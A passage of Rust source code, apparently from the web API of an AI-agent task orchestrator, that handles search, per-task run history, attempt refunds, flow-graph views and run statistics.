4536 crate::talk::Who::Agent => "agent",
4537 };
4538 serde_json::json!({ who: t.body })
4539 })
4540 .collect();
4541 serde_json::json!({ "title": title, "turns": turns })
4542}
4543
4544async fn search_get(
4551 State(ui): State<Arc<Ui>>,
4552 Query(q): Query<SearchQuery>,
4553) -> ApiResult<Json<SearchView>> {
4554 let query = q.q.trim().to_owned();
4555 if query.is_empty() {
4556 return Err(ApiError::bad_request("q must not be empty"));
4557 }
4558 if query.chars().count() > SEARCH_MAX_QUERY {
4559 return Err(ApiError::bad_request(format!(
4560 "q is longer than {SEARCH_MAX_QUERY} characters"
4561 )));
4562 }
4563 let terms = search_terms(&query);
4564 if terms.len() > SEARCH_MAX_TERMS {
4565 return Err(ApiError::bad_request(format!(
4566 "q has more than {SEARCH_MAX_TERMS} terms"
4567 )));
4568 }
4569 let scope = q.scope;
4570 if scope != "runs" && scope != "tasks" && scope != "chats" {
4571 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4572 }
4573 blocking(move || {
4574 let mut view = SearchView {
4575 scope: scope.clone(),
4576 q: query,
4577 hits: Vec::new(),
4578 total: 0,
4579 truncated: false,
4580 unreadable: 0,
4581 };
4582 if scope == "runs" {
4583 let mut unreadable = 0;
4584 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4588 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4589 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4590 Some(v) => Some((id, v)),
4591 None => {
4592 unreadable += 1;
4593 None
4594 }
4595 }
4596 });
4597 search_docs(&terms, docs, &mut view);
4598 view.unreadable = unreadable;
4599 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4602 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4603 for hit in &mut view.hits {
4604 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4605 hit.run = summarize(
4606 [state],
4607 &open_runs,
4608 &claimed,
4609 &superseded,
4610 |p| probe.borrow_mut().status(p),
4611 |p| probe.borrow_mut().started_at(p),
4612 )
4613 .pop();
4614 }
4615 }
4616 } else if scope == "chats" {
4617 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4618 view.unreadable = unreadable;
4619 search_docs(
4620 &terms,
4621 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4622 &mut view,
4623 );
4624 } else {
4625 let docs = ui.queue.list().into_iter().filter_map(|t| {
4626 let mut v = serde_json::to_value(&t).ok()?;
4627 if let Some(o) = v.as_object_mut() {
4630 o.insert("filed_by".to_owned(), t.source.label().into());
4631 }
4632 Some((t.id, v))
4633 });
4634 search_docs(&terms, docs, &mut view);
4635 }
4636 Ok(Json(view))
4637 })
4638 .await
4639}
4640
4641#[derive(Debug, Serialize)]
4643struct TaskRunView {
4644 n: usize,
4646 id: String,
4647 short: String,
4648 kind: &'static str,
4650 status: Option<&'static str>,
4652 readable: bool,
4654 provisional: bool,
4656 description: String,
4658 outcome: String,
4660 created_at: Option<Timestamp>,
4661 pr: Option<String>,
4662 exit: RunExit,
4664 attempt: AttemptCost,
4666 exit_label: String,
4669 later_pass: Option<usize>,
4672 pass_n: usize,
4676 passes_of_run: usize,
4677 pass: Option<PassView>,
4680 branch: Option<String>,
4682 badge: Option<String>,
4685}
4686
4687#[derive(Debug, Clone, PartialEq, Serialize)]
4689struct PassView {
4690 index: usize,
4691 resumed: bool,
4692 started_at: Timestamp,
4693 ended_at: Option<Timestamp>,
4694 end: &'static str,
4696 cause: Option<crate::run::ParkCause>,
4697 label: String,
4699 cost: Option<crate::queue::PassCost>,
4702}
4703
4704impl PassView {
4705 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4706 use crate::run::PassEnd;
4707 let (end, cause, label) = match &p.end {
4708 None => ("open", None, "still open".to_owned()),
4709 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4710 Some(PassEnd::Unrecorded) => (
4711 "unrecorded",
4712 None,
4713 "stopped without recording why (a crash, a kill or a restart; not known)"
4714 .to_owned(),
4715 ),
4716 };
4717 Self {
4718 index: p.index,
4719 resumed: p.resumed,
4720 started_at: p.started_at,
4721 ended_at: p.ended_at,
4722 end,
4723 cause,
4724 label,
4725 cost: settled.map(|t| t.cost),
4726 }
4727 }
4728}
4729
4730#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4732#[serde(rename_all = "snake_case")]
4733enum RunExit {
4734 Unreadable,
4735 Interrupted,
4737 Parked,
4738 QuotaStall,
4739 ResumedQuotaStall,
4743 Merged,
4744 Ready,
4745 Superseded,
4746 AlreadyInBase,
4749 Stalled,
4751 HeldWithPr,
4753 NoopHeld,
4754 Spent,
4756 InProgress,
4757}
4758
4759#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4760#[serde(rename_all = "snake_case")]
4761enum AttemptCost {
4762 Spent,
4763 Refunded,
4764 None,
4765 Unknown,
4767}
4768
4769impl RunExit {
4770 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4771 let Some(s) = s else {
4772 return Self::Unreadable;
4773 };
4774 let status = s.status;
4775 if resumed_later {
4776 Self::Interrupted
4777 } else if s.parked {
4778 Self::Parked
4779 } else if !status.done() {
4780 Self::InProgress
4781 } else if matches!(status, RunStatus::Merged) {
4782 Self::Merged
4783 } else if matches!(status, RunStatus::Ready) {
4784 Self::Ready
4785 } else if matches!(status, RunStatus::Superseded) {
4786 Self::Superseded
4787 } else if matches!(status, RunStatus::AlreadyInBase) {
4788 Self::AlreadyInBase
4789 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4790 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4791 {
4792 if resumed {
4793 Self::ResumedQuotaStall
4794 } else {
4795 Self::QuotaStall
4796 }
4797 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4798 Self::HeldWithPr
4799 } else if matches!(status, RunStatus::VerifiedNoop) {
4800 Self::NoopHeld
4801 } else if matches!(status, RunStatus::Stalled) {
4802 Self::Stalled
4803 } else {
4804 Self::Spent
4805 }
4806 }
4807
4808 fn cost(self) -> AttemptCost {
4809 match self {
4810 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4811 Self::Merged
4812 | Self::Ready
4813 | Self::Stalled
4814 | Self::HeldWithPr
4815 | Self::NoopHeld
4816 | Self::Spent => AttemptCost::Spent,
4817 Self::InProgress => AttemptCost::None,
4818 Self::AlreadyInBase => AttemptCost::Refunded,
4819 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4820 AttemptCost::Unknown
4821 }
4822 }
4823 }
4824
4825 fn edge_label(self, status: Option<&str>) -> String {
4827 match self {
4828 Self::Unreadable => "record unreadable".to_owned(),
4829 Self::Interrupted => "interrupted before the run finished".to_owned(),
4830 Self::Parked => "parked, attempt refunded".to_owned(),
4831 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4832 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4833 Self::Merged => "merged".to_owned(),
4834 Self::Ready => "ready, not merged".to_owned(),
4835 Self::Superseded => "superseded by a later attempt".to_owned(),
4836 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4837 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4838 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4839 Self::NoopHeld => "verified no-op".to_owned(),
4840 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4841 Self::InProgress => "in progress".to_owned(),
4842 }
4843 }
4844
4845 fn explains(self, end: TaskStatus) -> bool {
4848 match self {
4849 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4850 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4851 Self::Unreadable | Self::Superseded | Self::Ready => true,
4852 _ => end != TaskStatus::Done,
4853 }
4854 }
4855}
4856
4857#[derive(Debug, Serialize)]
4859struct TaskDetailView {
4860 #[serde(flatten)]
4861 task: TaskView,
4862 max_attempts: usize,
4865 history: Vec<TaskRunView>,
4866 passes_total: usize,
4869 runs_distinct: usize,
4871 flow: FlowView,
4872 followup_origin: Option<FollowUpOrigin>,
4874 runs_unreadable: usize,
4876 attempts_note: &'static str,
4878}
4879
4880const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4881and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4882on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4883the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4884
4885fn review_branch_of(instruction: &str) -> Option<&str> {
4888 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4889 rest.split('`').next().filter(|b| !b.is_empty())
4890}
4891
4892#[derive(Default)]
4894struct RunSlot<'a> {
4895 n: usize,
4897 resumed: bool,
4899 resumed_later: Option<usize>,
4901 prior: Option<(&'a str, RunStatus)>,
4903 last: bool,
4904 pass: Option<&'a crate::run::RunPass>,
4906 settled: Option<&'a crate::queue::TaskPass>,
4908 pass_n: usize,
4910 passes_of_run: usize,
4911}
4912
4913fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4916 let RunSlot {
4917 n,
4918 resumed,
4919 resumed_later,
4920 prior,
4921 last,
4922 pass,
4923 settled,
4924 pass_n,
4925 passes_of_run,
4926 } = at;
4927 let short = run::short_of(id).to_owned();
4928 let Some(s) = state else {
4929 return TaskRunView {
4930 n,
4931 id: id.to_owned(),
4932 short,
4933 kind: "unknown",
4934 status: None,
4935 readable: false,
4936 provisional: false,
4937 description:
4938 "This run's record could not be read by this build (written by a different \
4939 magi, or removed), so what kind of attempt it was is unknown."
4940 .to_owned(),
4941 outcome: String::new(),
4942 created_at: None,
4943 pr: None,
4944 exit: RunExit::Unreadable,
4945 attempt: AttemptCost::Unknown,
4946 exit_label: RunExit::Unreadable.edge_label(None),
4947 later_pass: resumed_later,
4948 pass_n,
4949 passes_of_run,
4950 pass: None,
4951 branch: None,
4952 badge: None,
4953 };
4954 };
4955 let branch = review_branch_of(&s.instruction);
4956 let kind = if resumed {
4957 "resume"
4958 } else if branch.is_some() {
4959 "review"
4960 } else if task.solo || s.candidates.len() == 1 {
4961 "solo"
4962 } else {
4963 "competition"
4964 };
4965 let mut description = match kind {
4966 "resume" => {
4967 format!("Resumed run {short}: the same run carried on instead of competing again.")
4968 }
4969 "review" => format!(
4970 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4971 branch.unwrap_or_default()
4972 ),
4973 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4974 _ => format!(
4975 "Competition: {} candidates judged blind.",
4976 s.candidates.len().max(1)
4977 ),
4978 };
4979 if !resumed && let Some((p, st)) = prior {
4980 description.push_str(&format!(
4981 " A retry: run {p} before it ended {}.",
4982 st.display_label()
4983 ));
4984 }
4985
4986 let status = s.status;
4987 let provisional = matches!(status, RunStatus::Stalled)
4988 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4989 let head = if resumed_later.is_some() {
4990 String::new()
4991 } else {
4992 match status {
4993 RunStatus::Merged => "Merged.".to_owned(),
4994 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4995 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4996 RunStatus::AlreadyInBase => {
4997 "Already in the base: this change landed under other commits, nothing was left to land."
4998 .to_owned()
4999 }
5000 RunStatus::Stalled => {
5001 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5002 .to_owned()
5003 }
5004 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5005 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5006 RunStatus::VerifiedNoop => {
5007 "Verified no-op: the candidates found nothing to change.".to_owned()
5008 }
5009 other if other.done() => format!("Ended {}.", other.display_label()),
5010 other => format!("In progress ({}).", other.display_label()),
5011 }
5012 };
5013 let view = pass.map(|p| PassView::of(p, settled));
5014 let recorded_end = view
5015 .as_ref()
5016 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5017 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5018 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5019 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5020 None => "whether its attempt was handed back was not recorded",
5021 };
5022 let pass_note = if passes_of_run > 1 {
5023 format!(
5024 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5025 )
5026 } else {
5027 String::new()
5028 };
5029 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5030 let cause = match v.end {
5032 "parked" => format!("It was stopped on purpose: {}.", v.label),
5033 _ => format!("It {}.", v.label),
5034 };
5035 format!(
5036 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5037 capitalise(cost_words)
5038 )
5039 } else if let Some(k) = resumed_later {
5040 let cause = if s.quota.is_empty() {
5047 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5048 } else {
5049 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5050 };
5051 format!(
5052 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5053 )
5054 } else if s.parked {
5055 match recorded_end.and_then(|v| v.cause.as_ref()) {
5056 Some(cause) => format!(
5057 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5058 cause.label(),
5059 cost_words
5060 ),
5061 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5062 .to_owned(),
5063 }
5064 } else if !status.done()
5065 || matches!(
5066 status,
5067 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5068 )
5069 {
5070 String::new()
5071 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5072 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5073 {
5074 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5075 .to_owned()
5076 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5077 " It left a pull request open, so the task was held for a person rather than retried."
5078 .to_owned()
5079 } else if matches!(status, RunStatus::VerifiedNoop) {
5080 " Held for a person to check the claim.".to_owned()
5081 } else if last {
5082 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5083 } else {
5084 " It spent an attempt, and the task moved on to the next run.".to_owned()
5085 };
5086 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5087 let mut attempt = exit.cost();
5088 let mut exit_label = None;
5089 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5090 let spent = match v.cost {
5091 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5092 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5093 None if resumed_later.is_some() => ", refund not recorded",
5094 None => ", attempt refunded",
5095 };
5096 attempt = match v.cost {
5097 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5098 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5099 None if resumed_later.is_some() => AttemptCost::Unknown,
5100 None => attempt,
5101 };
5102 if v.end == "parked" {
5103 exit = RunExit::Parked;
5104 exit_label = Some(match v.cause.as_ref() {
5105 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5106 format!("parked for {}{spent}", c.label())
5107 }
5108 Some(c) => format!("parked ({}){spent}", c.label()),
5109 None => format!("parked{spent}"),
5110 });
5111 } else {
5112 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5113 }
5114 }
5115 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5116 TaskRunView {
5117 n,
5118 id: id.to_owned(),
5119 short,
5120 kind,
5121 status: Some(status.as_str()),
5122 readable: true,
5123 provisional,
5124 description,
5125 outcome: format!("{head}{why}"),
5126 created_at: Some(s.created_at),
5127 pr: s.pr.as_ref().map(|p| p.url.clone()),
5128 exit,
5129 attempt,
5130 exit_label,
5131 later_pass: resumed_later,
5132 pass_n,
5133 passes_of_run,
5134 pass: view,
5135 branch: branch.map(str::to_owned),
5136 badge: None,
5137 }
5138}
5139
5140fn capitalise(s: &str) -> String {
5141 let mut c = s.chars();
5142 c.next().map_or_else(String::new, |f| {
5143 f.to_uppercase().collect::<String>() + c.as_str()
5144 })
5145}
5146
5147#[derive(Debug, Serialize, PartialEq)]
5149struct FlowNode {
5150 key: String,
5152 kind: &'static str,
5154 label: String,
5155 status: Option<&'static str>,
5158 status_of: &'static str,
5161 note: Option<&'static str>,
5163 run_kind: Option<&'static str>,
5164 detail: Option<String>,
5165 decided: bool,
5167 readable: bool,
5168 href: Option<String>,
5169 badge: Option<String>,
5171 started_at: Option<Timestamp>,
5173 time_expected: bool,
5175}
5176
5177#[derive(Debug, Serialize, PartialEq)]
5178struct FlowEdge {
5179 from: String,
5180 to: String,
5181 label: String,
5182 attempt: AttemptCost,
5183}
5184
5185#[derive(Debug, Serialize, PartialEq)]
5186struct FlowView {
5187 nodes: Vec<FlowNode>,
5188 edges: Vec<FlowEdge>,
5189 attempts: usize,
5191 max_attempts: usize,
5192 passes: usize,
5195 runs: usize,
5196}
5197
5198fn task_flow(
5207 task: &Task,
5208 history: &[TaskRunView],
5209 max_attempts: usize,
5210 origin: Option<&FollowUpOrigin>,
5211) -> FlowView {
5212 let max_attempts = task.effective_attempt_limit(max_attempts);
5213 let node = |key: &str, kind, label: String| FlowNode {
5214 key: key.to_owned(),
5215 kind,
5216 label,
5217 status: None,
5218 status_of: "run",
5219 note: None,
5220 run_kind: None,
5221 detail: None,
5222 decided: false,
5223 readable: true,
5224 href: None,
5225 badge: None,
5226 started_at: None,
5227 time_expected: matches!(kind, "start" | "run" | "end"),
5228 };
5229 let mut nodes = Vec::new();
5230 let mut edges: Vec<FlowEdge> = Vec::new();
5231 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5233 let mut n = node(
5234 "chat",
5235 "chat",
5236 format!("Chat {}", crate::queue::short(&link.id)),
5237 );
5238 n.href = Some(link.href);
5239 nodes.push(n);
5240 edges.push(FlowEdge {
5241 from: "chat".to_owned(),
5242 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5243 label: "queued from chat".to_owned(),
5244 attempt: AttemptCost::None,
5245 });
5246 }
5247 if let Some(o) = origin {
5248 let mut n = match &o.parent {
5249 Some(p) => {
5250 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5251 n.status = Some(p.status);
5252 n.status_of = "task";
5253 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5254 n.href = Some(p.href.clone());
5255 n
5256 }
5257 None => {
5258 let mut n = node(
5259 "origin",
5260 "followup",
5261 format!("Follow-up of run {}", o.run.short),
5262 );
5263 n.detail = Some("merged run".to_owned());
5264 n.status = o.run.status;
5265 n.href = o.run.href.clone();
5266 if o.run.href.is_none() {
5267 n.readable = false;
5268 n.note = Some("unreadable");
5269 }
5270 n
5271 }
5272 };
5273 n.decided = true;
5274 let from = n.key.clone();
5275 nodes.push(n);
5276 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5277 let more = o.findings.len().saturating_sub(shown.len());
5278 let label = match (shown.is_empty(), more) {
5279 (true, _) => "open findings".to_owned(),
5280 (false, 0) => format!("open findings {}", shown.join(", ")),
5281 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5282 };
5283 edges.push(FlowEdge {
5284 from,
5285 to: "start".to_owned(),
5286 label,
5287 attempt: AttemptCost::None,
5288 });
5289 }
5290 let mut start = node("start", "start", "Task queued".to_owned());
5291 start.started_at = Some(task.created_at);
5292 nodes.push(start);
5293 let mut prev = "start".to_owned();
5294 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5295 for (i, h) in history.iter().enumerate() {
5296 let key = format!("run-{}", h.n);
5297 let mut n = node(&key, "run", format!("Run {}", h.short));
5298 n.started_at = h
5301 .readable
5302 .then(|| {
5303 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5304 h.created_at
5305 } else {
5306 None
5307 })
5308 })
5309 .flatten();
5310 n.run_kind = Some(h.kind);
5311 n.readable = h.readable;
5312 n.href = Some(format!("#/runs/{}", h.id));
5313 n.decided = h.readable && !h.provisional;
5314 n.detail = h
5315 .branch
5316 .as_ref()
5317 .map(|b| format!("review-only run of branch {b}"));
5318 match h.exit {
5319 RunExit::Unreadable => n.note = Some("unreadable"),
5320 RunExit::Interrupted => n.note = Some("interrupted"),
5321 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5324 _ => {
5325 n.status = h.status;
5326 n.badge = h.badge.clone();
5327 if h.provisional {
5328 n.note = Some("no verdict");
5329 }
5330 }
5331 }
5332 let into = match h.kind {
5333 "review" => Some(format!(
5334 "review-only run of branch {}",
5335 h.branch.as_deref().unwrap_or("?")
5336 )),
5337 "resume" => Some("resume the same run".to_owned()),
5338 _ if i > 0 => Some("retry".to_owned()),
5339 _ => None,
5340 };
5341 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5342 let label = match (prev_exit, into) {
5343 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5344 (Some((_, l, _)), None) => l,
5345 (None, Some(i)) => i,
5346 (None, None) => "claimed".to_owned(),
5347 };
5348 edges.push(FlowEdge {
5349 from: prev.clone(),
5350 to: key.clone(),
5351 label,
5352 attempt,
5353 });
5354 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5355 prev = key;
5356 nodes.push(n);
5357 }
5358 let mut end = node("end", "end", task.status.as_str().to_owned());
5359 end.status = Some(task.status.as_str());
5360 end.status_of = "task";
5361 if task.status == TaskStatus::Held {
5364 end.started_at = task.held_at;
5365 }
5366 nodes.push(end);
5367 let (label, attempt) = match prev_exit {
5368 None => (
5369 format!("no run yet \u{2192} {}", task.status.as_str()),
5370 AttemptCost::None,
5371 ),
5372 Some((e, l, cost)) if e.explains(task.status) => {
5373 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5374 }
5375 Some((_, _, cost)) => (
5376 format!("closed by hand: task is {}", task.status.as_str()),
5377 cost,
5378 ),
5379 };
5380 edges.push(FlowEdge {
5381 from: prev,
5382 to: "end".to_owned(),
5383 label,
5384 attempt,
5385 });
5386 FlowView {
5387 nodes,
5388 edges,
5389 attempts: task.attempts,
5390 max_attempts,
5391 passes: history.len(),
5392 runs: distinct_runs(&task.runs),
5393 }
5394}
5395
5396fn distinct_runs(runs: &[String]) -> usize {
5398 let mut seen: Vec<&str> = Vec::new();
5399 for r in runs {
5400 if !seen.contains(&r.as_str()) {
5401 seen.push(r);
5402 }
5403 }
5404 seen.len()
5405}
5406
5407fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5409 let mut slots = Vec::new();
5410 let mut seen = Vec::new();
5411 for run_id in &task.runs {
5412 if seen.contains(&run_id) {
5413 continue;
5414 }
5415 seen.push(run_id);
5416 let state = read(run_id);
5417 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5418 s.passes
5419 .iter()
5420 .filter(|p| {
5421 p.task_entry
5422 || task
5423 .passes
5424 .iter()
5425 .any(|t| t.run == *run_id && t.pass_index == p.index)
5426 })
5427 .cloned()
5428 .collect()
5429 });
5430 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5431 let total = legacy_count.max(mine.len());
5432 let offset = total - mine.len();
5433 for k in 0..total {
5434 let position = task
5437 .runs
5438 .iter()
5439 .enumerate()
5440 .filter(|(_, r)| *r == run_id)
5441 .nth(k.min(legacy_count - 1))
5442 .unwrap()
5443 .0;
5444 slots.push((
5445 run_id,
5446 state.clone(),
5447 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5448 position,
5449 ));
5450 }
5451 }
5452 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5453 slots.sort_by_key(|(_, state, pass, _)| {
5454 pass.as_ref()
5455 .map(|p| p.started_at)
5456 .or_else(|| state.as_ref().map(|s| s.created_at))
5457 .map_or((true, task.created_at), |at| (false, at))
5458 });
5459 } else {
5460 slots.sort_by_key(|(_, _, _, position)| *position);
5461 }
5462 let mut history = Vec::with_capacity(slots.len());
5463 let mut seen: Vec<&str> = Vec::new();
5464 let mut prior: Option<(&str, RunStatus)> = None;
5465 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5466 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5467 let resumed = k > 0;
5468 seen.push(run_id);
5469 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5470 let pass = pass.as_ref();
5471 let settled = pass.and_then(|p| {
5472 task.passes
5473 .iter()
5474 .find(|t| t.run == **run_id && t.pass_index == p.index)
5475 });
5476 history.push(task_run_view(
5477 run_id,
5478 state.as_ref(),
5479 RunSlot {
5480 n: i + 1,
5481 resumed,
5482 resumed_later: slots[i + 1..]
5483 .iter()
5484 .position(|(id, _, _, _)| id == run_id)
5485 .map(|off| i + off + 2),
5486 prior,
5487 last: i + 1 == slots.len(),
5488 pass,
5489 settled,
5490 pass_n: k + 1,
5491 passes_of_run: total,
5492 },
5493 task,
5494 ));
5495 if let Some(s) = &state {
5496 prior = Some((run::short_of(run_id), s.status));
5497 }
5498 }
5499 history
5500}
5501
5502fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5505 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5506 return;
5507 }
5508 let (_, claimed, _) = run_row_inputs(ui);
5509 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5510 for h in history
5511 .iter_mut()
5512 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5513 {
5514 let Ok(state) = read_run(&ui.runs, &h.id) else {
5515 continue;
5516 };
5517 if state.status.done() {
5518 continue;
5519 }
5520 let live = state.liveness_with(
5521 claimed.contains(&h.id),
5522 |p| probe.borrow_mut().status(p),
5523 |p| probe.borrow_mut().started_at(p),
5524 );
5525 let waiting = !ui.questions.open_for(&h.id).is_empty();
5526 let display = run_display_status(&state, waiting, live);
5527 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5528 if matches!(word.as_str(), "stale" | "superseded")
5529 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5530 {
5531 h.badge = Some(word);
5532 }
5533 }
5534}
5535
5536async fn task_detail(
5537 State(ui): State<Arc<Ui>>,
5538 Path(id): Path<String>,
5539) -> ApiResult<Json<TaskDetailView>> {
5540 blocking(move || {
5541 let id = resolve_task(&ui.queue, &id)?;
5542 let task = ui
5543 .queue
5544 .get(&id)
5545 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5546 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5547 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5548 mark_badges(&ui, &task, &mut history);
5549 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5550 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5551 let origin = task.followup.as_ref().map(|fu| {
5552 followup_origin(
5553 fu,
5554 |tid| ui.queue.get(tid).ok(),
5555 |rid| read_run(&ui.runs, rid).ok(),
5556 )
5557 });
5558 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5559 Ok(Json(TaskDetailView {
5560 max_attempts,
5561 flow,
5562 followup_origin: origin,
5563 passes_total: history.len(),
5564 runs_distinct: distinct_runs(&task.runs),
5565 history,
5566 runs_unreadable,
5567 attempts_note: ATTEMPTS_NOTE,
5568 task: TaskView::with_inventory(task, &inv),
5569 }))
5570 })
5571 .await
5572}
5573
5574#[derive(Debug, Serialize)]
5578struct RateView {
5579 pct: f64,
5580 denominator: usize,
5581}
5582
5583impl RateView {
5584 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5585 (denominator > 0).then(|| Self {
5586 pct: 100.0 * numerator as f64 / denominator as f64,
5587 denominator,
5588 })
5589 }
5590}
5591
5592#[derive(Debug, Serialize)]
5597struct StatsTotalsView {
5598 runs: usize,
5599 merged: usize,
5600 ready: usize,
5601 blocked: usize,
5602 failed: usize,
5603 stalled: usize,
5604 verified_noop: usize,
5605 superseded: usize,
5606 in_progress: usize,
5607 completion_rate: Option<RateView>,
5608 tallied: usize,
5609 split: usize,
5610 split_rate: Option<RateView>,
5611 deliberated: usize,
5612 minds_changed: usize,
5613 converged: usize,
5614 review_rounds: usize,
5615}
5616
5617impl From<&stats::Totals> for StatsTotalsView {
5618 fn from(t: &stats::Totals) -> Self {
5619 Self {
5620 runs: t.runs,
5621 merged: t.merged,
5622 ready: t.ready,
5623 blocked: t.blocked,
5624 failed: t.failed,
5625 stalled: t.stalled,
5626 verified_noop: t.verified_noop,
5627 superseded: t.superseded,
5628 in_progress: t.in_progress,
5629 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5630 tallied: t.tallied,
5631 split: t.split,
5632 split_rate: RateView::of(t.split, t.tallied),
5633 deliberated: t.deliberated,
5634 minds_changed: t.minds_changed,
5635 converged: t.converged,
5636 review_rounds: t.review_rounds,
5637 }
5638 }
5639}
5640
5641#[derive(Debug, Serialize)]
5643struct AgentStatsView {
5644 agent: String,
5645 entered: usize,
5646 wins: usize,
5647 empty: usize,
5648 win_rate: Option<RateView>,
5649 competitive_entered: usize,
5650 competitive_wins: usize,
5651 competitive_win_rate: Option<RateView>,
5652 solo_entered: usize,
5653 solo_adopted: usize,
5654 solo_adoption_rate: Option<RateView>,
5655}
5656
5657impl From<&stats::AgentStats> for AgentStatsView {
